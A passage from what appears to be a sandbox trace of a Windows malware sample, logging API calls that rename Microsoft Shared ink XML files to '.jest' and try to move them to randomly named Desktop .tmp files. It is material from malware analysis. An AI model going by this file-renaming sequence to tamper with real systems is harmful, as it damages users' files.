cFileName="V2Bxr4KeBA_l0MsIaaQYFhiboYYvO __gqJ_dB8Wi17U7wyoqs8 zYqZ9IFqLgual-3awSgo_Irm3zH5t 3m5lWZ U7JuEgOo.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.185] GetLastError () returned 0x2 [0145.185] GetLastError () returned 0x2 [0145.185] SetLastError (dwErrCode=0x2) [0145.195] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.195] CoFreeUnusedLibraries () [0145.195] GetTickCount () returned 0x11561ef [0145.195] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.195] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.195] GetTickCount () returned 0x11561ef [0145.196] IsWindowVisible (hWnd=0x30268) returned 0 [0145.196] Sleep (dwMilliseconds=0x0) [0145.239] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.239] CoFreeUnusedLibraries () [0145.239] GetTickCount () returned 0x115621d [0145.239] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.239] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.239] GetTickCount () returned 0x115621d [0145.239] IsWindowVisible (hWnd=0x30268) returned 0 [0145.239] Sleep (dwMilliseconds=0x0) [0145.240] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.jest")) returned 0 [0145.242] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml", lpFilePart=0x18e6d8*="Alphabet.xml") returned 0x3f [0145.242] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x57, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 0x143ce48 [0145.242] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0145.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0145.275] VarBstrFromR4 (in: fltIn=0x47944d84, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75931.03") returned 0x0 [0145.334] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.334] CoFreeUnusedLibraries () [0145.334] GetTickCount () returned 0x115627b [0145.334] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.334] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.334] GetTickCount () returned 0x115627b [0145.334] IsWindowVisible (hWnd=0x30268) returned 0 [0145.334] Sleep (dwMilliseconds=0x0) [0145.336] GetFullPathNameA (in: lpFileName="Q1UwLm0NLff88H9BBYtwYfeA8uaXcYj_wV e9wiWP6Gu99BI7sjVt-Jwubx6oc5mmYh0lcvogPy8hUCS4fHHeDjCCFbmVtSVOCkve.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Q1UwLm0NLff88H9BBYtwYfeA8uaXcYj_wV e9wiWP6Gu99BI7sjVt-Jwubx6oc5mmYh0lcvogPy8hUCS4fHHeDjCCFbmVtSVOCkve.tmp", lpFilePart=0x18e708*="Q1UwLm0NLff88H9BBYtwYfeA8uaXcYj_wV e9wiWP6Gu99BI7sjVt-Jwubx6oc5mmYh0lcvogPy8hUCS4fHHeDjCCFbmVtSVOCkve.tmp") returned 0x8f [0145.336] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml", lpFilePart=0x18e708*="Alphabet.xml") returned 0x3f [0145.337] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Q1UwLm0NLff88H9BBYtwYfeA8uaXcYj_wV e9wiWP6Gu99BI7sjVt-Jwubx6oc5mmYh0lcvogPy8hUCS4fHHeDjCCFbmVtSVOCkve.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\q1uwlm0nlff88h9bbytwyfea8uaxcyj_wv e9wiwp6gu99bi7sjvt-jwubx6oc5mmyh0lcvogpy8hucs4fhhedjccfbmvtsvockve.tmp")) returned 0 [0145.337] GetLastError () returned 0x5 [0145.337] GetLastError () returned 0x5 [0145.337] SetLastError (dwErrCode=0x5) [0145.337] GetLastError () returned 0x5 [0145.337] SetLastError (dwErrCode=0x5) [0145.337] GetLastError () returned 0x5 [0145.337] SetLastError (dwErrCode=0x5) [0145.337] GetFullPathNameA (in: lpFileName="Q1UwLm0NLff88H9BBYtwYfeA8uaXcYj_wV e9wiWP6Gu99BI7sjVt-Jwubx6oc5mmYh0lcvogPy8hUCS4fHHeDjCCFbmVtSVOCkve.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Q1UwLm0NLff88H9BBYtwYfeA8uaXcYj_wV e9wiWP6Gu99BI7sjVt-Jwubx6oc5mmYh0lcvogPy8hUCS4fHHeDjCCFbmVtSVOCkve.tmp", lpFilePart=0x18e6e4*="Q1UwLm0NLff88H9BBYtwYfeA8uaXcYj_wV e9wiWP6Gu99BI7sjVt-Jwubx6oc5mmYh0lcvogPy8hUCS4fHHeDjCCFbmVtSVOCkve.tmp") returned 0x8f [0145.337] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Q1UwLm0NLff88H9BBYtwYfeA8uaXcYj_wV e9wiWP6Gu99BI7sjVt-Jwubx6oc5mmYh0lcvogPy8hUCS4fHHeDjCCFbmVtSVOCkve.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x77553151, cFileName="Lm0NLff88H9BBYtwYfeA8uaXcYj_wV e9wiWP6Gu99BI7sjVt-Jwubx6oc5mmYh0lcvogPy8hUCS4fHHeDjCCFbmVtSVOCkve.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.338] GetLastError () returned 0x2 [0145.338] GetLastError () returned 0x2 [0145.338] SetLastError (dwErrCode=0x2) [0145.352] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.353] CoFreeUnusedLibraries () [0145.353] GetTickCount () returned 0x115628b [0145.353] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.353] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.353] GetTickCount () returned 0x115628b [0145.353] IsWindowVisible (hWnd=0x30268) returned 0 [0145.353] Sleep (dwMilliseconds=0x0) [0145.354] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.jest")) returned 0 [0145.355] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml", lpFilePart=0x18e6d8*="Content.xml") returned 0x3e [0145.355] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x57, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 0x143ce48 [0145.355] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0145.355] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14f55bc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0145.356] VarBstrFromR4 (in: fltIn=0x47944d90, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75931.13") returned 0x0 [0145.362] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.362] CoFreeUnusedLibraries () [0145.362] GetTickCount () returned 0x115629a [0145.362] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.362] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.362] GetTickCount () returned 0x115629a [0145.362] IsWindowVisible (hWnd=0x30268) returned 0 [0145.362] Sleep (dwMilliseconds=0x0) [0145.364] GetFullPathNameA (in: lpFileName="9bifdX2BJuHcXGb6_N17TQL_SksJh8Aq6ih_6mBaDrXD-dK_Y0FoEYobwfORyQzrVoLXnxRDA1sOpCFJt_yWi-eFTA LHgJVfqvh.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9bifdX2BJuHcXGb6_N17TQL_SksJh8Aq6ih_6mBaDrXD-dK_Y0FoEYobwfORyQzrVoLXnxRDA1sOpCFJt_yWi-eFTA LHgJVfqvh.tmp", lpFilePart=0x18e708*="9bifdX2BJuHcXGb6_N17TQL_SksJh8Aq6ih_6mBaDrXD-dK_Y0FoEYobwfORyQzrVoLXnxRDA1sOpCFJt_yWi-eFTA LHgJVfqvh.tmp") returned 0x8e [0145.364] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml", lpFilePart=0x18e708*="Content.xml") returned 0x3e [0145.364] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9bifdX2BJuHcXGb6_N17TQL_SksJh8Aq6ih_6mBaDrXD-dK_Y0FoEYobwfORyQzrVoLXnxRDA1sOpCFJt_yWi-eFTA LHgJVfqvh.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9bifdx2bjuhcxgb6_n17tql_sksjh8aq6ih_6mbadrxd-dk_y0foeyobwforyqzrvolxnxrda1sopcfjt_ywi-efta lhgjvfqvh.tmp")) returned 0 [0145.364] GetLastError () returned 0x5 [0145.364] GetLastError () returned 0x5 [0145.365] SetLastError (dwErrCode=0x5) [0145.365] GetLastError () returned 0x5 [0145.365] SetLastError (dwErrCode=0x5) [0145.365] GetLastError () returned 0x5 [0145.365] SetLastError (dwErrCode=0x5) [0145.365] GetFullPathNameA (in: lpFileName="9bifdX2BJuHcXGb6_N17TQL_SksJh8Aq6ih_6mBaDrXD-dK_Y0FoEYobwfORyQzrVoLXnxRDA1sOpCFJt_yWi-eFTA LHgJVfqvh.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9bifdX2BJuHcXGb6_N17TQL_SksJh8Aq6ih_6mBaDrXD-dK_Y0FoEYobwfORyQzrVoLXnxRDA1sOpCFJt_yWi-eFTA LHgJVfqvh.tmp", lpFilePart=0x18e6e4*="9bifdX2BJuHcXGb6_N17TQL_SksJh8Aq6ih_6mBaDrXD-dK_Y0FoEYobwfORyQzrVoLXnxRDA1sOpCFJt_yWi-eFTA LHgJVfqvh.tmp") returned 0x8e [0145.365] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9bifdX2BJuHcXGb6_N17TQL_SksJh8Aq6ih_6mBaDrXD-dK_Y0FoEYobwfORyQzrVoLXnxRDA1sOpCFJt_yWi-eFTA LHgJVfqvh.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x66696239, cFileName="dX2BJuHcXGb6_N17TQL_SksJh8Aq6ih_6mBaDrXD-dK_Y0FoEYobwfORyQzrVoLXnxRDA1sOpCFJt_yWi-eFTA LHgJVfqvh.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.365] GetLastError () returned 0x2 [0145.365] GetLastError () returned 0x2 [0145.365] SetLastError (dwErrCode=0x2) [0145.370] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.370] CoFreeUnusedLibraries () [0145.370] GetTickCount () returned 0x11562aa [0145.370] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.370] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.370] GetTickCount () returned 0x11562aa [0145.370] IsWindowVisible (hWnd=0x30268) returned 0 [0145.370] Sleep (dwMilliseconds=0x0) [0145.372] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.jest")) returned 0 [0145.372] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml", lpFilePart=0x18e6d8*="ipscat.xml") returned 0x3d [0145.372] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x57, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 0x143ce48 [0145.372] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0145.373] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14f55e4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0145.373] VarBstrFromR4 (in: fltIn=0x47944d92, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75931.14") returned 0x0 [0145.373] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.373] CoFreeUnusedLibraries () [0145.373] GetTickCount () returned 0x11562aa [0145.373] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.373] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.373] GetTickCount () returned 0x11562aa [0145.373] IsWindowVisible (hWnd=0x30268) returned 0 [0145.373] Sleep (dwMilliseconds=0x0) [0145.375] GetFullPathNameA (in: lpFileName="aZQbSJrdxVV77Zxbr4zffD8DM9gsEr_U730R0AZCo0b4u0hvnwvno27MvXE_YO-rQ B5cYC8zCG8LgG2ttE9_7c0uzHRrK_0YjB.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aZQbSJrdxVV77Zxbr4zffD8DM9gsEr_U730R0AZCo0b4u0hvnwvno27MvXE_YO-rQ B5cYC8zCG8LgG2ttE9_7c0uzHRrK_0YjB.tmp", lpFilePart=0x18e708*="aZQbSJrdxVV77Zxbr4zffD8DM9gsEr_U730R0AZCo0b4u0hvnwvno27MvXE_YO-rQ B5cYC8zCG8LgG2ttE9_7c0uzHRrK_0YjB.tmp") returned 0x8d [0145.375] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml", lpFilePart=0x18e708*="ipscat.xml") returned 0x3d [0145.375] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aZQbSJrdxVV77Zxbr4zffD8DM9gsEr_U730R0AZCo0b4u0hvnwvno27MvXE_YO-rQ B5cYC8zCG8LgG2ttE9_7c0uzHRrK_0YjB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\azqbsjrdxvv77zxbr4zffd8dm9gser_u730r0azco0b4u0hvnwvno27mvxe_yo-rq b5cyc8zcg8lgg2tte9_7c0uzhrrk_0yjb.tmp")) returned 0 [0145.375] GetLastError () returned 0x5 [0145.375] GetLastError () returned 0x5 [0145.375] SetLastError (dwErrCode=0x5) [0145.375] GetLastError () returned 0x5 [0145.375] SetLastError (dwErrCode=0x5) [0145.375] GetLastError () returned 0x5 [0145.375] SetLastError (dwErrCode=0x5) [0145.376] GetFullPathNameA (in: lpFileName="aZQbSJrdxVV77Zxbr4zffD8DM9gsEr_U730R0AZCo0b4u0hvnwvno27MvXE_YO-rQ B5cYC8zCG8LgG2ttE9_7c0uzHRrK_0YjB.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aZQbSJrdxVV77Zxbr4zffD8DM9gsEr_U730R0AZCo0b4u0hvnwvno27MvXE_YO-rQ B5cYC8zCG8LgG2ttE9_7c0uzHRrK_0YjB.tmp", lpFilePart=0x18e6e4*="aZQbSJrdxVV77Zxbr4zffD8DM9gsEr_U730R0AZCo0b4u0hvnwvno27MvXE_YO-rQ B5cYC8zCG8LgG2ttE9_7c0uzHRrK_0YjB.tmp") returned 0x8d [0145.376] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aZQbSJrdxVV77Zxbr4zffD8DM9gsEr_U730R0AZCo0b4u0hvnwvno27MvXE_YO-rQ B5cYC8zCG8LgG2ttE9_7c0uzHRrK_0YjB.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x62515a61, cFileName="SJrdxVV77Zxbr4zffD8DM9gsEr_U730R0AZCo0b4u0hvnwvno27MvXE_YO-rQ B5cYC8zCG8LgG2ttE9_7c0uzHRrK_0YjB.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.376] GetLastError () returned 0x2 [0145.376] GetLastError () returned 0x2 [0145.376] SetLastError (dwErrCode=0x2) [0145.376] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.376] CoFreeUnusedLibraries () [0145.376] GetTickCount () returned 0x11562aa [0145.376] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.376] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.376] GetTickCount () returned 0x11562aa [0145.377] IsWindowVisible (hWnd=0x30268) returned 0 [0145.377] Sleep (dwMilliseconds=0x0) [0145.377] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.jest")) returned 0 [0145.378] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml", lpFilePart=0x18e6d8*="ipschs.xml") returned 0x3d [0145.378] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x57, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 0x143ce48 [0145.378] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0145.378] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0145.378] VarBstrFromR4 (in: fltIn=0x47944d92, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75931.14") returned 0x0 [0145.379] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.379] CoFreeUnusedLibraries () [0145.379] GetTickCount () returned 0x11562aa [0145.379] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.379] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.379] GetTickCount () returned 0x11562aa [0145.379] IsWindowVisible (hWnd=0x30268) returned 0 [0145.379] Sleep (dwMilliseconds=0x0) [0145.380] GetFullPathNameA (in: lpFileName="rwL_NSKBOv2vHTTGRKW4nZMVGdVOr6HBfdnE7pJkqKArHdp8 jwn7iAmio1xWvSTebTP v7HYl5FDsJU_rjsAZp2lXnAfhEBaVNt.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rwL_NSKBOv2vHTTGRKW4nZMVGdVOr6HBfdnE7pJkqKArHdp8 jwn7iAmio1xWvSTebTP v7HYl5FDsJU_rjsAZp2lXnAfhEBaVNt.tmp", lpFilePart=0x18e708*="rwL_NSKBOv2vHTTGRKW4nZMVGdVOr6HBfdnE7pJkqKArHdp8 jwn7iAmio1xWvSTebTP v7HYl5FDsJU_rjsAZp2lXnAfhEBaVNt.tmp") returned 0x8e [0145.380] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml", lpFilePart=0x18e708*="ipschs.xml") returned 0x3d [0145.380] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rwL_NSKBOv2vHTTGRKW4nZMVGdVOr6HBfdnE7pJkqKArHdp8 jwn7iAmio1xWvSTebTP v7HYl5FDsJU_rjsAZp2lXnAfhEBaVNt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rwl_nskbov2vhttgrkw4nzmvgdvor6hbfdne7pjkqkarhdp8 jwn7iamio1xwvstebtp v7hyl5fdsju_rjsazp2lxnafhebavnt.tmp")) returned 0 [0145.380] GetLastError () returned 0x5 [0145.380] GetLastError () returned 0x5 [0145.380] SetLastError (dwErrCode=0x5) [0145.380] GetLastError () returned 0x5 [0145.380] SetLastError (dwErrCode=0x5) [0145.380] GetLastError () returned 0x5 [0145.380] SetLastError (dwErrCode=0x5) [0145.381] GetFullPathNameA (in: lpFileName="rwL_NSKBOv2vHTTGRKW4nZMVGdVOr6HBfdnE7pJkqKArHdp8 jwn7iAmio1xWvSTebTP v7HYl5FDsJU_rjsAZp2lXnAfhEBaVNt.tmp", 